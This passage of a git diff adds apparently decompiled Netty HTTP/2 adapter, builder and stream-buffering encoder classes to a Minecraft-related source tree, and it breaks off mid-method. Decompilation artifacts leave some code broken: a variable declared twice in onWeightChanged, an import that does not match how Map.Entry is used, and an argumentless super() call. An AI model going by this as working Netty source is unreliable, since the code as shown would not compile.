+          writeHeaders(ctx, encoder, currentStreamId, trailers, http2Trailers, true, promiseAggregator);
+        }
+      }
+    } catch (Throwable t) {
+      promiseAggregator.setFailure(t);
+    } finally {
+      if (release) {
+        ReferenceCountUtil.release(msg);
+      }
+      promiseAggregator.doneAllocatingPromises();
+    }
+  }
+  
+
+  private static void writeHeaders(ChannelHandlerContext ctx, Http2ConnectionEncoder encoder, int streamId, HttpHeaders headers, Http2Headers http2Headers, boolean endStream, Http2CodecUtil.SimpleChannelPromiseAggregator promiseAggregator)
+  {
+    int dependencyId = headers.getInt(HttpConversionUtil.ExtensionHeaderNames.STREAM_DEPENDENCY_ID.text(), 0);
+    
+    short weight = headers.getShort(HttpConversionUtil.ExtensionHeaderNames.STREAM_WEIGHT.text(), (short)16);
+    
+    encoder.writeHeaders(ctx, streamId, http2Headers, dependencyId, weight, false, 0, endStream, promiseAggregator.newPromise());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/HttpToHttp2ConnectionHandlerBuilder.java b/src/minecraft/io/netty/handler/codec/http2/HttpToHttp2ConnectionHandlerBuilder.java
new file mode 100644
index 0000000..96060f6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/HttpToHttp2ConnectionHandlerBuilder.java
@@ -0,0 +1,92 @@
+package io.netty.handler.codec.http2;
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HttpToHttp2ConnectionHandlerBuilder
+  extends AbstractHttp2ConnectionHandlerBuilder<HttpToHttp2ConnectionHandler, HttpToHttp2ConnectionHandlerBuilder>
+{
+  public HttpToHttp2ConnectionHandlerBuilder() {}
+  
+
+
+
+
+
+
+
+
+
+
+  public HttpToHttp2ConnectionHandlerBuilder validateHeaders(boolean validateHeaders)
+  {
+    return (HttpToHttp2ConnectionHandlerBuilder)super.validateHeaders(validateHeaders);
+  }
+  
+  public HttpToHttp2ConnectionHandlerBuilder initialSettings(Http2Settings settings)
+  {
+    return (HttpToHttp2ConnectionHandlerBuilder)super.initialSettings(settings);
+  }
+  
+  public HttpToHttp2ConnectionHandlerBuilder frameListener(Http2FrameListener frameListener)
+  {
+    return (HttpToHttp2ConnectionHandlerBuilder)super.frameListener(frameListener);
+  }
+  
+  public HttpToHttp2ConnectionHandlerBuilder gracefulShutdownTimeoutMillis(long gracefulShutdownTimeoutMillis)
+  {
+    return (HttpToHttp2ConnectionHandlerBuilder)super.gracefulShutdownTimeoutMillis(gracefulShutdownTimeoutMillis);
+  }
+  
+  public HttpToHttp2ConnectionHandlerBuilder server(boolean isServer)
+  {
+    return (HttpToHttp2ConnectionHandlerBuilder)super.server(isServer);
+  }
+  
+  public HttpToHttp2ConnectionHandlerBuilder connection(Http2Connection connection)
+  {
+    return (HttpToHttp2ConnectionHandlerBuilder)super.connection(connection);
+  }
+  
+
+  public HttpToHttp2ConnectionHandlerBuilder codec(Http2ConnectionDecoder decoder, Http2ConnectionEncoder encoder)
+  {
+    return (HttpToHttp2ConnectionHandlerBuilder)super.codec(decoder, encoder);
+  }
+  
+  public HttpToHttp2ConnectionHandlerBuilder frameLogger(Http2FrameLogger frameLogger)
+  {
+    return (HttpToHttp2ConnectionHandlerBuilder)super.frameLogger(frameLogger);
+  }
+  
+
+  public HttpToHttp2ConnectionHandlerBuilder encoderEnforceMaxConcurrentStreams(boolean encoderEnforceMaxConcurrentStreams)
+  {
+    return (HttpToHttp2ConnectionHandlerBuilder)super.encoderEnforceMaxConcurrentStreams(encoderEnforceMaxConcurrentStreams);
+  }
+  
+
+  public HttpToHttp2ConnectionHandlerBuilder headerSensitivityDetector(Http2HeadersEncoder.SensitivityDetector headerSensitivityDetector)
+  {
+    return (HttpToHttp2ConnectionHandlerBuilder)super.headerSensitivityDetector(headerSensitivityDetector);
+  }
+  
+  public HttpToHttp2ConnectionHandler build()
+  {
+    return (HttpToHttp2ConnectionHandler)super.build();
+  }
+  
+
+  protected HttpToHttp2ConnectionHandler build(Http2ConnectionDecoder decoder, Http2ConnectionEncoder encoder, Http2Settings initialSettings)
+  {
+    return new HttpToHttp2ConnectionHandler(decoder, encoder, initialSettings, isValidateHeaders());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/InboundHttp2ToHttpAdapter.java b/src/minecraft/io/netty/handler/codec/http2/InboundHttp2ToHttpAdapter.java
new file mode 100644
index 0000000..ab44bd9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/InboundHttp2ToHttpAdapter.java
@@ -0,0 +1,333 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.http.FullHttpMessage;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpStatusClass;
+import io.netty.handler.codec.http.HttpUtil;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class InboundHttp2ToHttpAdapter
+  extends Http2EventAdapter
+{
+  private static final ImmediateSendDetector DEFAULT_SEND_DETECTOR = new ImmediateSendDetector()
+  {
+    public boolean mustSendImmediately(FullHttpMessage msg) {
+      if ((msg instanceof FullHttpResponse)) {
+        return ((FullHttpResponse)msg).status().codeClass() == HttpStatusClass.INFORMATIONAL;
+      }
+      if ((msg instanceof FullHttpRequest)) {
+        return msg.headers().contains(HttpHeaderNames.EXPECT);
+      }
+      return false;
+    }
+    
+    public FullHttpMessage copyIfNeeded(FullHttpMessage msg)
+    {
+      if ((msg instanceof FullHttpRequest)) {
+        FullHttpRequest copy = ((FullHttpRequest)msg).replace(Unpooled.buffer(0));
+        copy.headers().remove(HttpHeaderNames.EXPECT);
+        return copy;
+      }
+      return null;
+    }
+  };
+  
+  private final int maxContentLength;
+  
+  private final ImmediateSendDetector sendDetector;
+  private final Http2Connection.PropertyKey messageKey;
+  private final boolean propagateSettings;
+  protected final Http2Connection connection;
+  protected final boolean validateHttpHeaders;
+  
+  protected InboundHttp2ToHttpAdapter(Http2Connection connection, int maxContentLength, boolean validateHttpHeaders, boolean propagateSettings)
+  {
+    ObjectUtil.checkNotNull(connection, "connection");
+    if (maxContentLength <= 0) {
+      throw new IllegalArgumentException("maxContentLength: " + maxContentLength + " (expected: > 0)");
+    }
+    this.connection = connection;
+    this.maxContentLength = maxContentLength;
+    this.validateHttpHeaders = validateHttpHeaders;
+    this.propagateSettings = propagateSettings;
+    sendDetector = DEFAULT_SEND_DETECTOR;
+    messageKey = connection.newKey();
+  }
+  
+
+
+
+
+  protected final void removeMessage(Http2Stream stream, boolean release)
+  {
+    FullHttpMessage msg = (FullHttpMessage)stream.removeProperty(messageKey);
+    if ((release) && (msg != null)) {
+      msg.release();
+    }
+  }
+  
+
+
+
+
+  protected final FullHttpMessage getMessage(Http2Stream stream)
+  {
+    return (FullHttpMessage)stream.getProperty(messageKey);
+  }
+  
+
+
+
+
+  protected final void putMessage(Http2Stream stream, FullHttpMessage message)
+  {
+    FullHttpMessage previous = (FullHttpMessage)stream.setProperty(messageKey, message);
+    if ((previous != message) && (previous != null)) {
+      previous.release();
+    }
+  }
+  
+  public void onStreamRemoved(Http2Stream stream)
+  {
+    removeMessage(stream, true);
+  }
+  
+
+
+
+
+
+
+
+
+  protected void fireChannelRead(ChannelHandlerContext ctx, FullHttpMessage msg, boolean release, Http2Stream stream)
+  {
+    removeMessage(stream, release);
+    HttpUtil.setContentLength(msg, msg.content().readableBytes());
+    ctx.fireChannelRead(msg);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected FullHttpMessage newMessage(Http2Stream stream, Http2Headers headers, boolean validateHttpHeaders, ByteBufAllocator alloc)
+    throws Http2Exception
+  {
+    return connection.isServer() ? HttpConversionUtil.toFullHttpRequest(stream.id(), headers, alloc, validateHttpHeaders) : HttpConversionUtil.toHttpResponse(stream.id(), headers, alloc, validateHttpHeaders);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected FullHttpMessage processHeadersBegin(ChannelHandlerContext ctx, Http2Stream stream, Http2Headers headers, boolean endOfStream, boolean allowAppend, boolean appendToTrailer)
+    throws Http2Exception
+  {
+    FullHttpMessage msg = getMessage(stream);
+    boolean release = true;
+    if (msg == null) {
+      msg = newMessage(stream, headers, validateHttpHeaders, ctx.alloc());
+    } else if (allowAppend) {
+      release = false;
+      HttpConversionUtil.addHttp2ToHttpHeaders(stream.id(), headers, msg, appendToTrailer);
+    } else {
+      release = false;
+      msg = null;
+    }
+    
+    if (sendDetector.mustSendImmediately(msg))
+    {
+
+      FullHttpMessage copy = endOfStream ? null : sendDetector.copyIfNeeded(msg);
+      fireChannelRead(ctx, msg, release, stream);
+      return copy;
+    }
+    
+    return msg;
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void processHeadersEnd(ChannelHandlerContext ctx, Http2Stream stream, FullHttpMessage msg, boolean endOfStream)
+  {
+    if (endOfStream)
+    {
+      fireChannelRead(ctx, msg, getMessage(stream) != msg, stream);
+    } else {
+      putMessage(stream, msg);
+    }
+  }
+  
+  public int onDataRead(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endOfStream)
+    throws Http2Exception
+  {
+    Http2Stream stream = connection.stream(streamId);
+    FullHttpMessage msg = getMessage(stream);
+    if (msg == null) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Data Frame received for unknown stream id %d", new Object[] { Integer.valueOf(streamId) });
+    }
+    
+    ByteBuf content = msg.content();
+    int dataReadableBytes = data.readableBytes();
+    if (content.readableBytes() > maxContentLength - dataReadableBytes) {
+      throw Http2Exception.connectionError(Http2Error.INTERNAL_ERROR, "Content length exceeded max of %d for stream id %d", new Object[] { Integer.valueOf(maxContentLength), Integer.valueOf(streamId) });
+    }
+    
+
+    content.writeBytes(data, data.readerIndex(), dataReadableBytes);
+    
+    if (endOfStream) {
+      fireChannelRead(ctx, msg, false, stream);
+    }
+    
+
+    return dataReadableBytes + padding;
+  }
+  
+  public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endOfStream)
+    throws Http2Exception
+  {
+    Http2Stream stream = connection.stream(streamId);
+    FullHttpMessage msg = processHeadersBegin(ctx, stream, headers, endOfStream, true, true);
+    if (msg != null) {
+      processHeadersEnd(ctx, stream, msg, endOfStream);
+    }
+  }
+  
+  public void onHeadersRead(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endOfStream)
+    throws Http2Exception
+  {
+    Http2Stream stream = connection.stream(streamId);
+    FullHttpMessage msg = processHeadersBegin(ctx, stream, headers, endOfStream, true, true);
+    if (msg != null)
+    {
+
+      if (streamDependency != 0) {
+        msg.headers().setInt(HttpConversionUtil.ExtensionHeaderNames.STREAM_DEPENDENCY_ID.text(), streamDependency);
+      }
+      
+      msg.headers().setShort(HttpConversionUtil.ExtensionHeaderNames.STREAM_WEIGHT.text(), weight);
+      
+      processHeadersEnd(ctx, stream, msg, endOfStream);
+    }
+  }
+  
+  public void onRstStreamRead(ChannelHandlerContext ctx, int streamId, long errorCode) throws Http2Exception
+  {
+    Http2Stream stream = connection.stream(streamId);
+    FullHttpMessage msg = getMessage(stream);
+    if (msg != null) {
+      onRstStreamRead(stream, msg);
+    }
+    ctx.fireExceptionCaught(Http2Exception.streamError(streamId, Http2Error.valueOf(errorCode), "HTTP/2 to HTTP layer caught stream reset", new Object[0]));
+  }
+  
+
+
+  public void onPushPromiseRead(ChannelHandlerContext ctx, int streamId, int promisedStreamId, Http2Headers headers, int padding)
+    throws Http2Exception
+  {
+    Http2Stream promisedStream = connection.stream(promisedStreamId);
+    FullHttpMessage msg = processHeadersBegin(ctx, promisedStream, headers, false, false, false);
+    if (msg == null) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Push Promise Frame received for pre-existing stream id %d", new Object[] { Integer.valueOf(promisedStreamId) });
+    }
+    
+
+    msg.headers().setInt(HttpConversionUtil.ExtensionHeaderNames.STREAM_PROMISE_ID.text(), streamId);
+    msg.headers().setShort(HttpConversionUtil.ExtensionHeaderNames.STREAM_WEIGHT.text(), (short)16);
+    
+
+    processHeadersEnd(ctx, promisedStream, msg, false);
+  }
+  
+  public void onSettingsRead(ChannelHandlerContext ctx, Http2Settings settings) throws Http2Exception
+  {
+    if (propagateSettings)
+    {
+      ctx.fireChannelRead(settings);
+    }
+  }
+  
+
+
+  protected void onRstStreamRead(Http2Stream stream, FullHttpMessage msg)
+  {
+    removeMessage(stream, true);
+  }
+  
+  private static abstract interface ImmediateSendDetector
+  {
+    public abstract boolean mustSendImmediately(FullHttpMessage paramFullHttpMessage);
+    
+    public abstract FullHttpMessage copyIfNeeded(FullHttpMessage paramFullHttpMessage);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/InboundHttp2ToHttpAdapterBuilder.java b/src/minecraft/io/netty/handler/codec/http2/InboundHttp2ToHttpAdapterBuilder.java
new file mode 100644
index 0000000..6a5c233
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/InboundHttp2ToHttpAdapterBuilder.java
@@ -0,0 +1,64 @@
+package io.netty.handler.codec.http2;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class InboundHttp2ToHttpAdapterBuilder
+  extends AbstractInboundHttp2ToHttpAdapterBuilder<InboundHttp2ToHttpAdapter, InboundHttp2ToHttpAdapterBuilder>
+{
+  public InboundHttp2ToHttpAdapterBuilder(Http2Connection connection)
+  {
+    super(connection);
+  }
+  
+  public InboundHttp2ToHttpAdapterBuilder maxContentLength(int maxContentLength)
+  {
+    return (InboundHttp2ToHttpAdapterBuilder)super.maxContentLength(maxContentLength);
+  }
+  
+  public InboundHttp2ToHttpAdapterBuilder validateHttpHeaders(boolean validate)
+  {
+    return (InboundHttp2ToHttpAdapterBuilder)super.validateHttpHeaders(validate);
+  }
+  
+  public InboundHttp2ToHttpAdapterBuilder propagateSettings(boolean propagate)
+  {
+    return (InboundHttp2ToHttpAdapterBuilder)super.propagateSettings(propagate);
+  }
+  
+  public InboundHttp2ToHttpAdapter build()
+  {
+    return super.build();
+  }
+  
+
+
+
+  protected InboundHttp2ToHttpAdapter build(Http2Connection connection, int maxContentLength, boolean validateHttpHeaders, boolean propagateSettings)
+    throws Exception
+  {
+    return new InboundHttp2ToHttpAdapter(connection, maxContentLength, validateHttpHeaders, propagateSettings);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/InboundHttp2ToHttpPriorityAdapter.java b/src/minecraft/io/netty/handler/codec/http2/InboundHttp2ToHttpPriorityAdapter.java
new file mode 100644
index 0000000..4b788e0
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/InboundHttp2ToHttpPriorityAdapter.java
@@ -0,0 +1,213 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.http.DefaultHttpHeaders;
+import io.netty.handler.codec.http.FullHttpMessage;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.util.AsciiString;
+import java.util.Iterator;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class InboundHttp2ToHttpPriorityAdapter
+  extends InboundHttp2ToHttpAdapter
+{
+  private static final AsciiString OUT_OF_MESSAGE_SEQUENCE_METHOD = new AsciiString(HttpConversionUtil.OUT_OF_MESSAGE_SEQUENCE_METHOD.toString());
+  
+  private static final AsciiString OUT_OF_MESSAGE_SEQUENCE_PATH = new AsciiString("");
+  
+  private static final AsciiString OUT_OF_MESSAGE_SEQUENCE_RETURN_CODE = new AsciiString(HttpConversionUtil.OUT_OF_MESSAGE_SEQUENCE_RETURN_CODE.toString());
+  
+  private final Http2Connection.PropertyKey outOfMessageFlowHeadersKey;
+  
+
+  InboundHttp2ToHttpPriorityAdapter(Http2Connection connection, int maxContentLength, boolean validateHttpHeaders, boolean propagateSettings)
+  {
+    super(connection, maxContentLength, validateHttpHeaders, propagateSettings);
+    outOfMessageFlowHeadersKey = connection.newKey();
+  }
+  
+  private HttpHeaders getOutOfMessageFlowHeaders(Http2Stream stream) {
+    return (HttpHeaders)stream.getProperty(outOfMessageFlowHeadersKey);
+  }
+  
+  private void putOutOfMessageFlowHeaders(Http2Stream stream, HttpHeaders headers) {
+    stream.setProperty(outOfMessageFlowHeadersKey, headers);
+  }
+  
+  private HttpHeaders removeOutOfMessageFlowHeaders(Http2Stream stream) {
+    return (HttpHeaders)stream.removeProperty(outOfMessageFlowHeadersKey);
+  }
+  
+
+
+
+
+  private static HttpHeaders getActiveHeaders(FullHttpMessage msg)
+  {
+    return msg.content().isReadable() ? msg.trailingHeaders() : msg.headers();
+  }
+  
+
+
+
+
+  private void importOutOfMessageFlowHeaders(Http2Stream stream, HttpHeaders headers)
+  {
+    HttpHeaders outOfMessageFlowHeader = getOutOfMessageFlowHeaders(stream);
+    if (outOfMessageFlowHeader == null) {
+      putOutOfMessageFlowHeaders(stream, headers);
+    } else {
+      outOfMessageFlowHeader.setAll(headers);
+    }
+  }
+  
+
+
+
+
+  private void exportOutOfMessageFlowHeaders(Http2Stream stream, HttpHeaders headers)
+  {
+    HttpHeaders outOfMessageFlowHeader = getOutOfMessageFlowHeaders(stream);
+    if (outOfMessageFlowHeader != null) {
+      headers.setAll(outOfMessageFlowHeader);
+    }
+  }
+  
+
+
+
+  private static void removePriorityRelatedHeaders(HttpHeaders headers)
+  {
+    headers.remove(HttpConversionUtil.ExtensionHeaderNames.STREAM_DEPENDENCY_ID.text());
+    headers.remove(HttpConversionUtil.ExtensionHeaderNames.STREAM_WEIGHT.text());
+  }
+  
+
+
+
+  private void initializePseudoHeaders(Http2Headers headers)
+  {
+    if (connection.isServer()) {
+      headers.method(OUT_OF_MESSAGE_SEQUENCE_METHOD).path(OUT_OF_MESSAGE_SEQUENCE_PATH);
+    } else {
+      headers.status(OUT_OF_MESSAGE_SEQUENCE_RETURN_CODE);
+    }
+  }
+  
+
+
+
+
+  private static void addHttpHeadersToHttp2Headers(HttpHeaders httpHeaders, Http2Headers http2Headers)
+  {
+    Iterator<Map.Entry<CharSequence, CharSequence>> iter = httpHeaders.iteratorCharSequence();
+    while (iter.hasNext()) {
+      Map.Entry<CharSequence, CharSequence> entry = (Map.Entry)iter.next();
+      http2Headers.add(AsciiString.of((CharSequence)entry.getKey()), AsciiString.of((CharSequence)entry.getValue()));
+    }
+  }
+  
+
+  protected void fireChannelRead(ChannelHandlerContext ctx, FullHttpMessage msg, boolean release, Http2Stream stream)
+  {
+    exportOutOfMessageFlowHeaders(stream, getActiveHeaders(msg));
+    super.fireChannelRead(ctx, msg, release, stream);
+  }
+  
+  protected FullHttpMessage processHeadersBegin(ChannelHandlerContext ctx, Http2Stream stream, Http2Headers headers, boolean endOfStream, boolean allowAppend, boolean appendToTrailer)
+    throws Http2Exception
+  {
+    FullHttpMessage msg = super.processHeadersBegin(ctx, stream, headers, endOfStream, allowAppend, appendToTrailer);
+    
+    if (msg != null) {
+      exportOutOfMessageFlowHeaders(stream, getActiveHeaders(msg));
+    }
+    return msg;
+  }
+  
+  public void onPriorityTreeParentChanged(Http2Stream stream, Http2Stream oldParent)
+  {
+    Http2Stream parent = stream.parent();
+    FullHttpMessage msg = getMessage(stream);
+    if (msg == null)
+    {
+
+
+      if ((parent != null) && (!parent.equals(connection.connectionStream()))) {
+        HttpHeaders headers = new DefaultHttpHeaders();
+        headers.setInt(HttpConversionUtil.ExtensionHeaderNames.STREAM_DEPENDENCY_ID.text(), parent.id());
+        importOutOfMessageFlowHeaders(stream, headers);
+      }
+    }
+    else if (parent == null) {
+      removePriorityRelatedHeaders(msg.headers());
+      removePriorityRelatedHeaders(msg.trailingHeaders());
+    } else if (!parent.equals(connection.connectionStream())) {
+      HttpHeaders headers = getActiveHeaders(msg);
+      headers.setInt(HttpConversionUtil.ExtensionHeaderNames.STREAM_DEPENDENCY_ID.text(), parent.id());
+    }
+  }
+  
+
+  public void onWeightChanged(Http2Stream stream, short oldWeight)
+  {
+    FullHttpMessage msg = getMessage(stream);
+    HttpHeaders headers;
+    if (msg == null)
+    {
+
+
+      HttpHeaders headers = new DefaultHttpHeaders();
+      importOutOfMessageFlowHeaders(stream, headers);
+    } else {
+      headers = getActiveHeaders(msg);
+    }
+    headers.setShort(HttpConversionUtil.ExtensionHeaderNames.STREAM_WEIGHT.text(), stream.weight());
+  }
+  
+  public void onPriorityRead(ChannelHandlerContext ctx, int streamId, int streamDependency, short weight, boolean exclusive)
+    throws Http2Exception
+  {
+    Http2Stream stream = connection.stream(streamId);
+    if (stream == null) {
+      return;
+    }
+    FullHttpMessage msg = getMessage(stream);
+    if (msg == null) {
+      HttpHeaders httpHeaders = removeOutOfMessageFlowHeaders(stream);
+      if (httpHeaders == null) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Priority Frame recieved for unknown stream id %d", new Object[] { Integer.valueOf(streamId) });
+      }
+      
+      Http2Headers http2Headers = new DefaultHttp2Headers(validateHttpHeaders, httpHeaders.size());
+      initializePseudoHeaders(http2Headers);
+      addHttpHeadersToHttp2Headers(httpHeaders, http2Headers);
+      msg = newMessage(stream, http2Headers, validateHttpHeaders, ctx.alloc());
+      fireChannelRead(ctx, msg, false, stream);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/InboundHttp2ToHttpPriorityAdapterBuilder.java b/src/minecraft/io/netty/handler/codec/http2/InboundHttp2ToHttpPriorityAdapterBuilder.java
new file mode 100644
index 0000000..2e011d6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/InboundHttp2ToHttpPriorityAdapterBuilder.java
@@ -0,0 +1,66 @@
+package io.netty.handler.codec.http2;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class InboundHttp2ToHttpPriorityAdapterBuilder
+  extends AbstractInboundHttp2ToHttpAdapterBuilder<InboundHttp2ToHttpPriorityAdapter, InboundHttp2ToHttpPriorityAdapterBuilder>
+{
+  public InboundHttp2ToHttpPriorityAdapterBuilder(Http2Connection connection)
+  {
+    super(connection);
+  }
+  
+  public InboundHttp2ToHttpPriorityAdapterBuilder maxContentLength(int maxContentLength)
+  {
+    return (InboundHttp2ToHttpPriorityAdapterBuilder)super.maxContentLength(maxContentLength);
+  }
+  
+  public InboundHttp2ToHttpPriorityAdapterBuilder validateHttpHeaders(boolean validate)
+  {
+    return (InboundHttp2ToHttpPriorityAdapterBuilder)super.validateHttpHeaders(validate);
+  }
+  
+  public InboundHttp2ToHttpPriorityAdapterBuilder propagateSettings(boolean propagate)
+  {
+    return (InboundHttp2ToHttpPriorityAdapterBuilder)super.propagateSettings(propagate);
+  }
+  
+  public InboundHttp2ToHttpPriorityAdapter build()
+  {
+    return (InboundHttp2ToHttpPriorityAdapter)super.build();
+  }
+  
+
+
+
+  protected InboundHttp2ToHttpPriorityAdapter build(Http2Connection connection, int maxContentLength, boolean validateHttpHeaders, boolean propagateSettings)
+    throws Exception
+  {
+    return new InboundHttp2ToHttpPriorityAdapter(connection, maxContentLength, validateHttpHeaders, propagateSettings);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/InboundHttpToHttp2Adapter.java b/src/minecraft/io/netty/handler/codec/http2/InboundHttpToHttp2Adapter.java
new file mode 100644
index 0000000..e0c855a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/InboundHttpToHttp2Adapter.java
@@ -0,0 +1,74 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.handler.codec.http.FullHttpMessage;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpScheme;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class InboundHttpToHttp2Adapter
+  extends ChannelInboundHandlerAdapter
+{
+  private final Http2Connection connection;
+  private final Http2FrameListener listener;
+  
+  public InboundHttpToHttp2Adapter(Http2Connection connection, Http2FrameListener listener)
+  {
+    this.connection = connection;
+    this.listener = listener;
+  }
+  
+  private int getStreamId(HttpHeaders httpHeaders) {
+    return httpHeaders.getInt(HttpConversionUtil.ExtensionHeaderNames.STREAM_ID.text(), connection.remote().incrementAndGetNextStreamId());
+  }
+  
+  public void channelRead(ChannelHandlerContext ctx, Object msg)
+    throws Exception
+  {
+    if ((msg instanceof FullHttpMessage)) {
+      FullHttpMessage message = (FullHttpMessage)msg;
+      try {
+        int streamId = getStreamId(message.headers());
+        Http2Stream stream = connection.stream(streamId);
+        if (stream == null) {
+          stream = connection.remote().createStream(streamId, false);
+        }
+        message.headers().set(HttpConversionUtil.ExtensionHeaderNames.SCHEME.text(), HttpScheme.HTTP.name());
+        Http2Headers messageHeaders = HttpConversionUtil.toHttp2Headers(message, true);
+        boolean hasContent = message.content().isReadable();
+        boolean hasTrailers = !message.trailingHeaders().isEmpty();
+        listener.onHeadersRead(ctx, streamId, messageHeaders, 0, (!hasContent) && (!hasTrailers));
+        
+        if (hasContent) {
+          listener.onDataRead(ctx, streamId, message.content(), 0, !hasTrailers);
+        }
+        if (hasTrailers) {
+          Http2Headers headers = HttpConversionUtil.toHttp2Headers(message.trailingHeaders(), true);
+          listener.onHeadersRead(ctx, streamId, headers, 0, true);
+        }
+        stream.closeRemoteSide();
+      } finally {
+        message.release();
+      }
+    } else {
+      super.channelRead(ctx, msg);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/StreamBufferingEncoder.java b/src/minecraft/io/netty/handler/codec/http2/StreamBufferingEncoder.java
new file mode 100644
index 0000000..ee4295d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/StreamBufferingEncoder.java
@@ -0,0 +1,363 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.ReferenceCountUtil;
+import java.util.ArrayDeque;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map.Entry;
+import java.util.Queue;
+import java.util.TreeMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StreamBufferingEncoder
+  extends DecoratingHttp2ConnectionEncoder
+{
+  public static final class Http2ChannelClosedException
+    extends Http2Exception
+  {
+    private static final long serialVersionUID = 4768543442094476971L;
+    
+    public Http2ChannelClosedException()
+    {
+      super("Connection closed");
+    }
+  }
+  
+
+  public static final class Http2GoAwayException
+    extends Http2Exception
+  {
+    private static final long serialVersionUID = 1326785622777291198L;
+    private final int lastStreamId;
+    private final long errorCode;
+    private final byte[] debugData;
+    
+    public Http2GoAwayException(int lastStreamId, long errorCode, byte[] debugData)
+    {
+      super();
+      this.lastStreamId = lastStreamId;
+      this.errorCode = errorCode;
+      this.debugData = debugData;
+    }
+    
+    public int lastStreamId() {
+      return lastStreamId;
+    }
+    
+    public long errorCode() {
+      return errorCode;
+    }
+    
+    public byte[] debugData() {
+      return debugData;
+    }
+  }
+  
+
+
+
+
+  private final TreeMap<Integer, PendingStream> pendingStreams = new TreeMap();
+  private int maxConcurrentStreams;
+  private boolean closed;
+  
+  public StreamBufferingEncoder(Http2ConnectionEncoder delegate) {
+    this(delegate, 100);
+  }
+  
+  public StreamBufferingEncoder(Http2ConnectionEncoder delegate, int initialMaxConcurrentStreams) {
+    super(delegate);
+    maxConcurrentStreams = initialMaxConcurrentStreams;
+    connection().addListener(new Http2ConnectionAdapter()
+    {
+      public void onGoAwayReceived(int lastStreamId, long errorCode, ByteBuf debugData)
+      {
+        StreamBufferingEncoder.this.cancelGoAwayStreams(lastStreamId, errorCode, debugData);
+      }
+      
+      public void onStreamClosed(Http2Stream stream)
+      {
+        StreamBufferingEncoder.this.tryCreatePendingStreams();
+      }
+    });
+  }
+  
+
+
+  public int numBufferedStreams()
+  {
+    return pendingStreams.size();
+  }
+  
+
+  public ChannelFuture writeHeaders(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream, ChannelPromise promise)
+  {
+    return writeHeaders(ctx, streamId, headers, 0, (short)16, false, padding, endStream, promise);
+  }
+  
+
+
+
+  public ChannelFuture writeHeaders(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endOfStream, ChannelPromise promise)
+  {
+    if (closed) {
+      return promise.setFailure(new Http2ChannelClosedException());
+    }
+    if ((isExistingStream(streamId)) || (connection().goAwayReceived())) {
+      return super.writeHeaders(ctx, streamId, headers, streamDependency, weight, exclusive, padding, endOfStream, promise);
+    }
+    
+    if (canCreateStream()) {
+      return super.writeHeaders(ctx, streamId, headers, streamDependency, weight, exclusive, padding, endOfStream, promise);
+    }
+    
+    PendingStream pendingStream = (PendingStream)pendingStreams.get(Integer.valueOf(streamId));
+    if (pendingStream == null) {
